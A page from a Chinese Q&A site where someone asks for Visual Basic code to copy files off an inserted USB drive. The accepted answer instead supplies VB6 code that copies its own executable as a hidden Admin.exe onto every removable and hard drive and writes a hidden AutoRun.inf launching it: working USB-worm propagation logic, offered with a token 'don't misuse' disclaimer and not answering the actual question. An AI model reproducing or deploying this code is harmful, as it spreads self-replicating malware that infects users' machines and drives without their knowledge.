永发信息网

vb高手进!跪求一段自动拷贝文件

答案:1  悬赏:70  手机版
解决时间 2021-07-19 06:43

先要搜索是否有可移动磁盘插入,

再将其中所有文件考入指定目录:d:\test\

原先的目录结构不变

最佳答案
拷贝自己到U盘里和在U盘生成一个Auorun
我自己写的 绝对原创 不要用来干坏事
鄙视传播病毒者

控件:
timer
属性:
timer1.Interval = 5000

声明
Const WS_EX_LAYERED = &H80000

Const GWL_EXSTYLE = (-20)

Const LWA_ALPHA = &H2

Const LWA_COLORKEY = &H1

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Private Declare Function GetDlgItem Lib "user32" (ByVal hDlg As Long, ByVal nIDDlgItem As Long) As Long

Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String) As Long

Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

Private Const BM_CLICK = &HF5

Private Const WM_CLOSE = &H10

timer里的代码

Dim I As Long, T As Integer

For I = 65 To 90

T = GetDriveType(Chr(I) & ":\")

If T <> 1 Then

Select Case T

Case 2

If I < 67 Then

Else

'可移动磁盘

If Dir(Chr(I) & ":\Mstdc.inf", vbSystem) <> "" Then

Else


If Dir(Chr(I) & ":\Admin.exe", vbHidden) <> "" Then

Else

If App.PrevInstance Then

Else

If Dir(Chr(I) & ":\Admin.exe", vbHidden) <> "" Then

Else

FileCopy App.Path & "\" & App.EXEName & ".exe", Chr(I) & ":\Admin.exe"

End If

End If

End If

If Dir(Chr(I) & ":\AutoRun.inf", vbHidden + vbSystem) <> "" Then

Else

Open Chr(I) & ":\AutoRun.inf" For Append As #1

Print #1, "[AutoRun]"

Print #1, "open=Admin.exe"

Print #1, "shell\1=打开(&O)"

Print #1, "shell\1\Command=Admin.exe"

Print #1, "shell\2\=浏览(&B)"

Print #1, "shell\2\Command=Admin.exe"

Print #1, "shellexecute=Admin.exe"

Close #1

End If

If Dir(Chr(I) & ":\AutoRun.inf", vbSystem) <> "" Then

Call SetAttr(Chr(I) & ":\AutoRun.inf", vbHidden)

Else

End If

If Dir(Chr(I) & ":\Admin.exe") <> "" Then

Call SetAttr(Chr(I) & ":\Admin.exe", vbHidden)

Else

End If

End If

End If

Case 3

'硬盘

If Dir(Chr(I) & ":\Admin.exe", vbNormal) <> "" Then

Else

If App.PrevInstance Then

Else

If Dir(Chr(I) & ":\Admin.exe", vbHidden) <> "" Then

Else

FileCopy App.Path & "\" & App.EXEName & ".exe", Chr(I) & ":\Admin.exe"

End If

End If

End If

If Dir(Chr(I) & ":\AutoRun.inf", vbHidden + vbSystem) <> "" Then

Else

Open Chr(I) & ":\AutoRun.inf" For Append As #1

Print #1, "[AutoRun]"

Print #1, "open=Admin.exe"

Print #1, "shell\1=打开(&O)"

Print #1, "shell\1\Command=Admin.exe"

Print #1, "shell\2\=浏览(&B)"

Print #1, "shell\2\Command=Admin.exe"

Print #1, "shellexecute=Admin.exe"

Close #1

End If

If Dir(Chr(I) & ":\AutoRun.inf", vbSystem) <> "" Then

Call SetAttr(Chr(I) & ":\AutoRun.inf", vbHidden)

Else

End If

If Dir(Chr(I) & ":\Admin.exe") <> "" Then

Call SetAttr(Chr(I) & ":\Admin.exe", vbHidden)

Else

End If

Case 5

End Select

End If

Next
我要举报
如以上问答信息为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
大家都在看
火影奇拉比和鬼鲛最后应该谁赢了
강렬한 소망
分外地( ) ( )的涟漪
“说明”用英语怎么说
女生对男生说“看缘分”是同意你了还是在暗示
Where is jack sitting He is sitting b
QQ宠物什么时候接入游戏人生?可能接入吗?
安顺哪有上夜校的?
谁给个JP力WZ人的属性参考
手机蓝牙共享电脑上网的方法
怎么自己刻录盘做系统?图解!
忆捷和朗科硬盘怎么样,了解下朗科移动硬盘数
金士顿4G内存卡
求死神第54集17分02秒 开始出现的背景音乐
300多分可以上什么与汽车营销方面的学校啊?
推荐资讯
推荐几款免费的热门网游.
炫舞现在多少级点亮图标?
我想把经常不上线的QQ好友删掉,怎样才能知道
3000元能配个什么样的电脑<游戏专用>
神奇之旅之宠物
知道事情不想说的句子,你不是我怎么能知道我
我电脑为什么一玩鹤乡棋牌乐就死机呢?
病毒到了隔离区,怎样才可以把它撤除了,
许多记忆啊!忘不了,不是忧伤,只是愁怅!如
铜川市有没有玩网络家族的?
大城县廊坊show me美甲美睫美装会馆在什么地
“我要改变世界!”翻译成English是啥?
正方形一边上任一点到这个正方形两条对角线的
阴历怎么看 ?